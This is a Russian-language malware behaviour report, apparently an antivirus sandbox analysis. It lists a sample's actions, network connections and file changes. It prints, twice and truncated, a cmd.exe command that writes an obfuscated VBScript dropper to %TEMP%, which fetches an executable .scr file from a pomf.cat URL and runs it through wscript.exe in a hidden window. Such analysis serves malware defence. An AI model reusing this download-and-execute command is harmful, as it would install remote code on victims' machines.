Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO J2r= "http://a.pomf.cat/gcclmx.scr">>B8v.VBS &@ECHO P2m = N9s("[M2I\I")>>B8v.VBS &@ECHO Set I6m = CreateObject(N9s("QW\QP62\QPLXXT"))>>B8v.VBS &@ECHO I6m.Open N9s("KIX"), J...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\b8v.vbs
Удаляет следующие файлы
- %TEMP%\b8v.vbs
Сетевая активность
Подключается к
- 'a.##mf.cat':80
- 'a.##mf.cat':443
TCP
Запросы HTTP GET
- http://a.##mf.cat/gcclmx.scr
UDP
- DNS ASK a.##mf.cat
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\B8v.VBS"
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO J2r= "http://a.pomf.cat/gcclmx.scr">>B8v.VBS &@ECHO P2m = N9s("[M2I\I")>>B8v.VBS &@ECHO Set I6m = CreateObject(N9s("QW\QP62\QPLXXT"))>>B8v.VBS &@ECHO I6m.Open N9s("KIX"), J...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\timeout.exe' 13
